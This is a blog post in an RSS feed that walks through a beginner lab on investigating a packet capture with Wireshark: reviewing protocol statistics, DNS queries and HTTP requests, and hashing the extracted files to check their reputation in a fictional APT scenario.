            <content:encoded><![CDATA[<p>Day 13</p><p>Packet Analysis</p><h3>Learning Objectives</h3><ul><li>Learn what traffic analysis is and why it still matters.</li><li>Learn the fundamentals of traffic analysis.</li><li>Learn the essential Wireshark features used in case investigation.</li><li>Learn how to assess the patterns and identify anomalies on the network.</li><li>Learn to use additional tools to identify malicious addresses and conduct further analysis.</li></ul><h3>Packets and Packet Analysis?</h3><p>Packets are the most basic unit of the network data transferred over the network. When a message is sent from one host to another, it is transmitted in small chunks; each called a packet. Packet analysis is the process of extracting, assessing, and identifying network patterns such as connections, shares, commands, and other network activities, like logins, and system failures, from the prerecorded traffic files.</p><h3>Why Does Packet Analysis Still Matter?</h3><p>Network traffic is a pure and rich data source. A Packet Capture (PCAP) of network events provides a rich data source for analysis. Capturing live data can be focused on traffic flow, which only provides statistics on the network traffic. On the other hand, identifying and investigating network patterns in-depth is done at the packet level. Consequently, threat detection and real-time performance troubleshooting cannot be done without packet analysis.</p><p>Today, most network-based detection mechanisms and notification systems ingest and parse packet-level information to create alerts and statistical data. Also, most red/blue/purple teaming exercises are optimized with packet-level analysis. Lastly, even encoded/encrypted network data still provides value by pointing to an odd, weird, or unexpected pattern or situation, highlighting that packet analysis still matters.</p><h3>Points to consider when working with PCAPs</h3><p>There are various points to consider before conducting packet analysis. The essential facts are listed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0wCgALewcggsx98eQwWB6w.png" /></figure><p>When the time comes to do “packet level analysis”, it might sound hard to implement the theory in practice. But creating “checklists” and “mini playbooks” will make the analysis process considerably easier. A simple process checklist for practical packet analysis is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xLoAGRK4G1Tylw2rzQMNA.png" /></figure><p>You will need a tool to record, view, and investigate the packets. There are a couple of tools that help users analyze traffic and packet captures. In this task, we will use Wireshark.</p><h3>What is Wireshark and How to Use It?</h3><p>Wireshark is an industry-standard tool for network protocol analysis and is essential in any traffic and packet investigation. You can view, save and break down the network traffic with it.</p><p>A quick tool demonstration for fundamental analysis is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P92NB-G_xeAB5swr.png" /></figure><p>Open the Wireshark and go through the walkthrough below. Once you double-click the PCAP file, it will load up in the tool. Alternatively, you can open the tool, drag and drop the file, or use the <strong>“File”</strong> menu.</p><p>After opening a pcap file for the first time, it might look daunting to decide where to focus. Breaking down all the packets in a tree-based view will make the analysis easier. Statistics will show the overall usage of the ports and services, so it will be slightly easier to see the big picture in the capture file.</p><ul><li>Use the “Statistics → Protocol Hierarchy” menu to view the overall usage of the ports and services.</li></ul><p>Now, look at the output. The majority of the traffic is on TCP and HTTP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/0*oaNHR3vEsFx2ch1a.png" /></figure><p>You can also view the connections by IP and TCP/UDP protocols to view the overall usage of the ports and services (including the total packet numbers transferred over a particular port and between two hosts). The next step is viewing the IP conversations to spot if there is a weird/suspicious/not usual IP address in use.</p><ul><li>Close the protocol hierarchy window, use the <strong>“Statistics → Conversations” section and navigate to the IPv4 section</strong> to view the list of IP conversations.</li></ul><p><strong>Note:</strong> Navigate to the TCP/UDP sections to view the TCP/UDP conversation details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/0*LkHOFP2iZpYynpIA.png" /></figure><p>Now we have a detailed list of the IP addresses, port numbers, and the number of packets transferred from one endpoint to another. This information will help us identify suspicious IP addresses, connections, and ports. Analyze the details carefully.</p><p>Let’s analyze the findings in this section; navigate to the TCP part and look at the results, the port 80 is used as a communication medium in TCP. Port 80 represents the HTTP service. Next, you can view that DNS service is also used by navigating to the UDP section. Now we have two target protocols to analyze. Before continuing on specific protocol analysis, you should have completed the following checks and answered some analysis questions.</p><p><strong>Checks to do</strong></p><ul><li>Packet statistics</li><li>Service identification</li><li>IP reputation check</li></ul><p><strong>Questions to answer</strong></p><ul><li>Which IP addresses are in use?</li><li>Has a suspicious IP address been detected?</li><li>Has suspicious port usage been detected?</li><li>Which port numbers and services are in use?</li><li>Is there an abnormal level of traffic on any port or service?</li></ul><p>After viewing the conversations, we collected the following information.</p><ul><li>Source and destination IP addresses</li><li>Protocols</li><li>Port numbers</li><li>Services</li></ul><p>Now let’s focus on the HTTP and DNS. As a nature of these protocols, everything transferred over these protocols is cleartext. At this stage, filtering the DNS packets to view the interacted domains is a good start before deep diving into cleartext data.</p><ul><li>Close the statistics window, and type DNS in the search bar to apply a filter and view the DNS packets.</li></ul><p>DNS packets will help us to identify connected domain addresses to decide if they are affiliated with the suspicious threat and Bandit Yeti APT! Click on the first packet and use the lower left section of the tool (Packet Details Pane) to view the packet details. There are multiple collapsed sections; click on the Domain Name System section to expand and view the DNS details of the packets. There are additional collapsed sections under the corresponding section; expand them to view all available details. You will find the interacted domain under the queries section. See the below example and continue the analysis by analyzing all available DNS packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qoWYwcwWJ_tsG4Mr.png" /></figure><p>Before continuing on HTTP analysis, ensure you have completed the following checks and answered the analysis questions.</p><p><strong>Checks to do</strong></p><ul><li>DNS queries</li><li>DNS answers</li></ul><p><strong>Questions to answer</strong></p><ul><li>Which domain addresses are communicated?</li><li>Do the communicated domain addresses contain unusual or suspicious destinations?</li><li>Do the DNS queries look unusual, suspicious, or malformed?</li></ul><p>We discovered the connected domain addresses, and now we are one step closer to identifying if these patterns are part of the adversarial actions of the Bandit Yeti APT. You should notice the obvious anomalous sign in the domain address at this stage! Let’s filter the HTTP packets to view the traffic details and understand what happened!</p><ul><li>Use the HTTP filter to filter and view the HTTP packets.</li></ul><p>Click on the first packet and view the details. In HTTP, the <strong>“GET Request”</strong> is used by the client to send a request to a server. Usually, this request ends up with receiving data/resources. Therefore, we will look at these requests to see if any endpoint is asked for a resource from other servers over the HTTP protocol.</p><p>Apply the filter and expand the Hypertext Transfer Protocol section. Expand the subsections as well and focus on the GET requests. You will find the requested resource paths under the Full Request URI section. Also, you can evaluate the user-agent section to check if there is anomalous or non-standard user-agent info. See the below example and continue on analysis by analyzing all available HTTP packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hDOd9nFzEuYNlbyJ.png" /></figure><p>Before continuing to the next steps, ensure you have completed the following checks and answered the analysis questions.</p><p><strong>Checks to do</strong></p><ul><li>HTTP GET requests</li><li>Requested URIs</li><li>HTTP requests host addresses</li><li>Used user-agents</li></ul><p><strong>Questions to answer</strong></p><ul><li>Which addresses are communicated?</li><li>Is there any resource share event between addresses?</li><li>If there is a file share event, which addresses hosts which files?</li><li>Do the user-agent fields look unusual, suspicious, or malformed?</li></ul><p>Here, you should identify the stealthy connections of the Bandit Yeti APT. It looks like the adversarial group chose to use the daily used services and create less noise over the common protocols to avoid being detected. The investigation case doesn’t contain any obvious anomaly patterns like scanning, brute force, and exploitation. However, it contains suspicious connections and file shares. These two are red flags and require in-depth analysis. Still, there are a few steps more before concluding the case and elevating it to upper-level analysts. In sum, we detected two unidentified domain addresses, one highly associated with the Bandit Yeti APT. Also, we have already identified the IP addresses, port numbers, and domain addresses. The next step is focusing on file shares. Let’s extract the shared files and conduct fundamental checks on the files before finishing the analysis.</p><ul><li>Use the “File → Export Object → HTTP” menu to extract files shared over the HTTP.</li></ul><p>Look at the results. There are two files shared over the HTTP. Use the Save All option and save them on the desktop. Now close/minimize the Wireshark GUI and open a terminal window on the desktop. Use the sha256sum and VirusTotal tools are shown on Day 6 to calculate the file hash value and to conduct hash-based file reputation analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*12dfwBZ1n-jbpqTI.png" /></figure><p>Before concluding the analysis, ensure you have completed the following checks and answered the analysis questions.</p><p><strong>Checks to do</strong></p><ul><li>Shared files</li><li>File hashes (SHA256)</li><li>Hash reputation check</li></ul><p><strong>Questions to answer</strong></p><ul><li>What are shared files?</li><li>Does the hash reputation marked as suspicious or malicious?</li><li>Which domain hosts the suspicious/malicious file?</li></ul><p>After completing the demonstrated steps, we verified that one shared file was malicious. Before concluding the analysis, you need to correlate the findings and recall which address was hosting the malicious file.</p><p>After finishing all the shown steps and completing the required checks, you are finished with the fundamental packet analysis process of the given case. The following steps are creating a report of your findings and escalating the sample to the upper-level analysts, who will conduct a more in-depth analysis.</p><p>Your report should include the following information you collected in this task.</p><ul><li>Suspicious IP addresses associated with Bandit Yeti APT</li><li>Suspicious domain addresses associated with Bandit Yeti APT</li><li>Connection with suspicious addresses</li><li>Requested URIs</li><li>Used user-agents</li><li>Shared file names, extensions, and hashes</li><li>Server names hosted the shared files</li></ul><p>This was the initial analysis process of a PCAP file. An in-depth analysis will create detection rules to strengthen the implemented defenses and block these activities in the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6358681de931" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>